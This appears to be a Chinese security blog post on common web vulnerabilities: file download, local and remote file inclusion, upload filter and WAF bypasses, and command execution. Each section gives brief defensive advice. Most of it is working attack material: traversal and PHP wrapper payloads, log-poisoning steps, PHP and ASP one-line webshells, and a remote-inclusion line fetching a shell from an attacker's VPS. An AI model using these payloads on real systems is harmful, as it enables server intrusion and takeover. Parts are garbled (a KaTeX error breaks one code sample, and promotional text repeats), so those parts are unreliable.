常见Web十大漏洞,常见Web漏洞_十大常见web漏洞(1),阿里P8大佬亲自讲解

&FilePath=
&filepath=
&Filepath=
&Path=
&path=
&inputFile=
&InputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&Date=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF

漏洞利用方法:

任意文件下载漏洞,正常的利用手段是下载服务器文件,比如脚本代码、服务器配置文件或者是系统配置文件等。但有时并不知道网站所处环境以及网站路径,就可以使用…/…/…/进行逐层猜测路径,案例如下:

index.php?f=…/…/…/…/…/…/…/…/…/etc/passwd
index.php?f=…/…/…/index.php
index.php?f=file:///etc/passwd
readfile.php?file=/etc/passwd
readfile.php?file=…/…/…/…/…/etc/passwd
readfile.php?file=…/…/…/…/…/…/…/etc/passwd%00 // 00截断

注:
当参数f的参数值为php⽂件时,若是⽂件被解析则是⽂件包含漏洞,
若显⽰源码或提⽰下载则是⽂件查看与下载漏洞。

漏洞防护:

(1)过滤".",使用户在 url 中不能回溯上级目录

(2)正则严格判断用户输入参数的格式

(3)php.ini 配置 open_basedir 限定文件访问范围

三、敏感文件

/root/.bash_history //用户终端历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //php相关设置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/php5/apache2/php.ini //ubuntu系统的默认路径

Tomcat

apache-tomcat-8.5.51/conf/tomcat-users.xml //tomcat的角色(授权用户)配置文件

apache-tomcat-8.5.51/conf/server.xml //tomcat的主配置文件

apache-tomcat-8.5.51/conf/web.xml //tomcat应用程序的部署描述符文件

apache-tomcat-8.5.51/logs/catalina.out //即tomcat的标准输出和标准出错,所有输出到这两个位置的都会进入catalina.out,这里包含tomcat运行自己输出的日志以及应用里向console输出的日志。

Web应用

PHP
获取inc/config.php文件,获得数据库连接字符串中的口令信息;

ASP
获取inc/conn.asp文件,获得数据库连接字符串口令,得到数据库口令。若是ACCESS数据库,可以得到数据库路径,再下载数据库内容;

ASPX
获取网站根目录web.config文件,获得数据库连接字符串中的口令信息;
获取bin/*.dll文件,获取网站源码(不完整代码),使用.NET reflector工具打开编译后的dll文件;

JSP
获取conf/tomcat-user.xml文件,获得tongcat管理界面的口令信息,上传war包GetShell;
获取WEB-INF/Web.xml文件,获得数据库连接字符串中的口令信息。

四、文件包含

漏洞成因:

在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

漏洞利用

利用条件:

(1)include()、include_noce()、require()、require_once()等函数通过动态变量的方式引入包含文件;
(2)用户能够控制该动态变量。

1、读取敏感文件

?arg=/etc/passwd

2、利用封装协议读源码

?arg=php://filter/read=convert.base64-encode/resource=config.php
这样能看到php文件的源码

3、包含图片Getshell

在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码(图片马)

4、截断包含

漏洞代码:如:

?php
if(isset(KaTeX parse error: Expected '}', got 'EOF' at end of input: … { include(_GET[‘arg’].“.php”);
}else{
include(index.php);
}
?>

这样做一定程度上修复了漏洞, 上传图片一句话并访问:http://vuln.com/index.php?arg=1.jpg会出错。

因为包含文件里面不存在1.jpg.php这个文件。

但是如果输入http://vuln.com/index.php?arg=1.jpg%00,就极有可能会绕过检测。

这种方法只适用于php.inimagic_quotes_qpc=off并且PHP版本< 5.3.4的情况。

如果为on,%00会被转义,以至于无法截断。

5、包含Apache日志Getshell

条件:知道日志文件access.log的存放位置 ,默认位置:/var/log/httpd/access_log

access.log文件记录了客户端每次请求的相关信息; 当访问一个不存在的资源时access.log文件仍然会记录这条资源信息。

如果目标网站存在文件包含漏洞,但是没有可以包含的文件时,

我们就可以尝试访问http://www.vuln.com/<?php phpinfo(); ?>

Apache会将这条信息记录在access.log文件中,这时如果我们访问access.log文件,就会触发文件包含漏洞。

理论上是这样的,但是实际上却是输入的代码被转义无法解析。

攻击者可以通过burpsuite进行抓包在http请求包里面将转义的代码改为正常的测试代码就可以绕过。

这时再查看Apache日志文件,显示的就是正常的测试代码。

这时访问:http://www.vuln.com/index.php?arg=/var/log/httpd/access_log,即可成功执行代码

PHP中的封装协议(伪协议)

以下协议未写明条件的即是allow_url_fopen和allow_url_include状态off/on都行。

file://

作用:

用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。

include()/require()/include_once()/require_once()参数可控的情况下

如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的

示例:

  1. file://[文件的绝对路径和文件名]
    http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt

  2. file://[文件的相对路径和文件名]
    http://127.0.0.1/include.php?file=./phpinfo.txt

  3. file://[网络路径和文件名]
    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

php://

条件:

allow_url_fopen:off/on

allow_url_include : 部分需要on (下面列出)

php://input

php://stdin

php://memory

php://temp

作用:

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter 和 php://input

php://filter用于读取源码,php://input用于执行php代码

示例:

  1. php://filter/read=convert.base64-encode/resource=[文件名] //读取文件源码
    http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

2.php://input + [POST DATA]执行php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>

3.若有写入权限,[POST DATA部分] 写入一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
zip:// & bzip2:// & zlib://

作用:

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件

更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等

示例:

1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)

http://127.0.0.1/include.php?  file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2

http://127.0.0.1/include.php?  file=compress.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

http://127.0.0.1/include.php?  file=compress.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz

data://

条件:

allow_url_fopen:on

allow_url_include :on

作用:

PHP>=5.2.0起,可以使用 data:// 数据流封装器,以传递相应格式的数据。

通常可以用来执行PHP代码

示例:

1.data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

2.data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

利用条件 PHP > 5.3

要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off

利用 phar 协议可以拓展 php 反序列化漏洞攻击面

远程文件包含(RFL)

服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,

从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的。

漏洞利用

条件:php.ini中开启allow_url_includeallow_url_fopen选项。

1、远程包含Webshell

?arg=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马

shell.txt内容为:

<?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');

?>

代码审计

文件包含用到的函数

include() //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
inclue_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

require() //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

代码审计的时候全局搜索以上函数

如果是基于图像上传的 ,要搜$_FILES 变量, 因为PHP处理上传文件的功能,基本都与$_FILES有关。

查看目录结构,重点关注includes、modules等文件夹,查看index.php等文件是否动态调用过这些内容,变量是否可控。

漏洞防护

  1. 禁止远程文件包含 allow_url_include=off
  2. 配置 open_basedir=指定目录,限制访问区域。
  3. 过滤../等特殊符号
  4. 修改Apache日志文件的存放地址
  5. 开启魔术引号 magic_quotes_qpc=on
  6. 尽量不要使用动态变量调用文件,直接写要包含的文件。

五、文件上传

漏洞原理

用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。没有对后缀做一个严格过滤。

绕过

一句话前后加图片数据混淆;直接把木马改成.gif后缀上传,BurpSuite拦包修改后缀名。

黑名单绕过:

找漏网之鱼:cer、php3、php4

大小写绕过:AsP、pHP

文件后缀复写绕过:.phphpp

针对Windows系统:

上传不符合windows文件命名规则的文件名

test.php:1.jpg //会被windows系统自动去掉不符合规则符号后面的内容
test.php::$DATA //会被windows系统自动去掉不符合规则符号后面的内容

白名单绕过:

1)00截断:
抓包修改文件名后缀为“php .jpg”,再将空格的十六进制改为00(系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束,系统按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII为0的位置在十六进制中是00);

2).htaccess解析漏洞:
(只适用于Apache中allow override all、loadmodule rewrite_module/mod_rewrite.so #rewrite模块为开启状态):先上传.htaccess文件(AddType application/x-httpd-php .jpg),再上传一个图片马文件(jpg),上传的jpg文件都会以php文件格式解析。

3)Content-Type:
先上传正常的图片文件,查看Content-Type类型。上传脚本文件(AddType aaplication/x-httpd-php .jpg #将所有后缀为.jpg的文件作为php文件解析),将Content-Type类型改为查看到的类型(image/jpeg、imagepng、imagegif等)

4)Apache解析漏洞:
Apache从右向左解析,若不能够解析最右的后缀,会递归向前解析,直到解析道能够解析为止,否则会报错。

5).user.ini:
适用于服务器使用CGI/FastCGI模式且目录下要有可执行的php文件,文件内容“auto_prepend_file=a.jpg # a.jpg中符合php语言的代码会被执行”。

6)文件头检测:
上传图片马,再修改后缀为可解析脚本语言;或上传一句话木马,再将文件中添加正常格式文件头(GIF89a等)。

黑白名单通用

如果可上传修改 .htaccess 文件 (还能用于隐藏后门)

<FilesMatch “shell.jpg”>
 SetHandler application/x-httpd-php

//上传shell.jpg文件,将解析为php运行

基于WAF:

常用的黑名单绕过放大也适用于部分的waf,更多的是需要配合使用。主要思路为接收文件名和waf的检测有所差异,只要是服务器能接收并解析。

1)换行绕过
Content-Disposition:form-data;name=“file”;filename=“1.php”

Content-Disposition:form-data;name=“file”;file
name=“1.php”

Content-Disposition:form-data;name=“file”;filename=
“1.php”

2)多个等号绕过
Content-Disposition:form-data;name=“file”;filename==“1.php”

3)增加文件大小,类似于垃圾字符
Content-Disposition:form-data;
qqqqqqqq…qqqqqqqqqqq;name=“file”;filename=“1.php”

4)去掉或替换引号绕过
Content-Disposition:form-data;name=file;filename=1.php

Content-Disposition:form-data;name=‘file’;filename=“1.php”

5)增加filename干扰拦截
Content-Disposition:form-data;name=“file”;filename= ;filename=“1.php”

6)混淆waf匹配字段
a.混淆form-data
Content-Disposition:name=“file”;filename=“1.php” //去除form-data

Content-Disposition:qqqqq=“qweqwe”;name=“file”; filename=“1.php” // 替换form-data为垃圾值

Content-Disposition: form-data ; name=“file”; filename=“1.php” // form-data后加空格

Content-Disposition: for+m-data; name=“file”; filename=“1.php” // form-data中加+号

b.混淆ConTent-Disposition
COntEnT-DIsposiTiOn: form-data; name=“file”; filename=“1.php” // 大小写混淆

Content-Type: image/gif
Content-Disposition: form-data; name=“file”; filename=“1.php”
//调换Content-Type和ConTent-Disposition的顺序

Content-Type: image/gif
Content-Disposition: form-data; name=“file”; filename=“1.php”
Content-Type: image/gif
//增加额外的头

AAAAAAAA:filename=“aaa.jpg”;
Content-Disposition: form-data; name=“file”; filename=“1.php”
Content-Type: image/gif
//增加额外的头

Content-Length: 666
Content-Disposition: form-data; name=“file”; filename=“1.php”
Content-Type: image/gif
//增加额外的头

Content-Disposition: form-data; name=“file_x”;;; filename=“test.php”
//多个分号,导致可能解析不到文件名

7)双文件绕过:
例如安全狗总是以最后一个Content-Disposition中的值作为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值作为接收参数。

8)容器与waf对Bounday要求规则不一致
Content-Type: multipart/form-data; boundary=—————————471114117352599
Content-Length: 253
—————————–471114117352599
Content-Disposition: form-data; name=“file1”; filename=“shell.asp”
Content-Type: application/octet-stream
<%eval request(“a”)%>
—————————–471114117352599–
一些waf会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。

9) 条件竞争
一些情况再上传文件时,先上传到临时目录,然后再检测,检测到再删除。例如可以上传生成一句话木马的文件(fputs(fopen(‘shell.php’,‘w’),‘’) ;
上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件shell.php。

文件加载检测(文件内容检测)

常见的是对图像进行二次渲染,一般是调用PHP 的GD库

一个绕过GD库的Webshell生成器:

http://wiki.ioin.in/soft/detail/1q

https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE

漏洞防护

1、使用白名单限制可以上传的文件扩展名

2、注意0x00截断攻击(PHP更新到最新版本)

3、对上传后的文件统一随机命名,不允许用户控制扩展名

4、上传文件的存储目录禁用执行权限

六、命令执行

漏洞原理

命令执行漏洞是指攻击者可以随意执行系统命令,分为远程代码执行和系统命令执行两类。

由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并提交服务端执行 命令注入攻击中, Web服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的主要原因。

程序应用有时需要调用一些执行系统命令的函数,如PHP:

system() //执行外部程序,并且显示输出
exec() //执行一个外部程序
shell_exec() //通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
passthru() //执行外部程序并且显示原始输出
pcntl_exec() //在当前进程空间执行指定程序
popen() //打开进程文件指针
proc_open() //执行一个命令,并且打开用来输入/输出的文件指针
反引号
令拼接到正常命令中,从而造成命令执行攻击。

详细看:PHP中常见的命令执行函数与代码执行函数_echo是命令执行函数吗_红烧兔纸的博客-CSDN博客参考:https://blog.csdn.net/weixin_43376075/article/details/105189017https://blog.csdn.net/qq_43168364/article/details/105595532https://www.cnblogs.com/-qing-/p/10819069.html代码执行函数:1- eval()#传入的参数必须为PHP代码,既需要以分号结尾。#命令執行:cmd=system(whoami);#菜._echo是命令执行函数吗外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传https://blog.csdn.net/weixin_39934520/article/details/109231480

两个条件
  • 用户能够控制的函数输入
  • 存在可以执行代码或者系统命令的危险函数
命令执行漏洞带来的危害

继承Web服务程序的权限去执行系统命令(任意代码)或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透

列子
<?php $test = $_GET['cmd']; system($test); ?>

payload:?cmd=whoami 这样即可执行系统命令

漏洞防护

1、尽量不要使用以上的代码/命令执行函数

2、使用disable_funtion()禁用以上函数

3、过滤所有能当作命令分隔符使用的字符

七、代码执行

(84条消息) PHP中常见的命令执行函数与代码执行函数_echo是命令执行函数吗_红烧兔纸的博客-CSDN博客https://blog.csdn.net/weixin_39934520/article/details/109231480

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

GQy9bNb-1712803293954)]https://blog.csdn.net/weixin_39934520/article/details/109231480](https://blog.csdn.net/weixin_39934520/article/details/109231480 “(84条消息) PHP中常见的命令执行函数与代码执行函数_echo是命令执行函数吗_红烧兔纸的博客-CSDN博客”)

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
[外链图片转存中…(img-J6WDAl18-1712803293955)]
[外链图片转存中…(img-6VLbtGUZ-1712803293955)]
[外链图片转存中…(img-9WMGgUoJ-1712803293955)]
[外链图片转存中…(img-XfJ5785a-1712803293956)]
[外链图片转存中…(img-0Bd4xUn0-1712803293956)]
[外链图片转存中…(img-tJKR9Bkz-1712803293957)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-x4iW4tJB-1712803293957)]

  • 9
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值